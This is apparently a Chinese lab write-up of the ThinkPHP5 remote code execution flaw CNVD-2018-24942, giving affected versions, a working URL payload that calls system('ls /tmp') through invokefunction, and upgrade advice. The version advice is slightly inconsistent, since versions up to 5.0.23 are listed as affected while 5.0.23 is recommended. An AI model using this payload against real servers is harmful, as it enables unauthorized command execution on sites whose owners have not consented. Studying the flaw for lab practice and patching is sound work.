thinkphp 代码执行 (CNVD-2018-24942)
漏洞介绍
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。 影响版本:
ThinkPHP 5.*,<5.1.31 ThinkPHP <=5.0.23 过程
1.开启靶场环境
2、在其地址增加路径与参数即可,最后是需要执行的命令 ls /tmp
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
如下: http://192.168.xx.xx:xxxxx/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/tmp 3、成功得到flag
小结 此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。进一步分析发现,某些ThinkPHP版本不受已公开的POC的影响,这是由于该POC缺乏完备性考虑。因此,强烈建议用户及时将5.0.x版本升级到5.0.23,将5.1.x版本升级到5.1.31,以免遭受攻击。 漏洞修复 官方修复方案:https://blog.thinkphp.cn/869075
|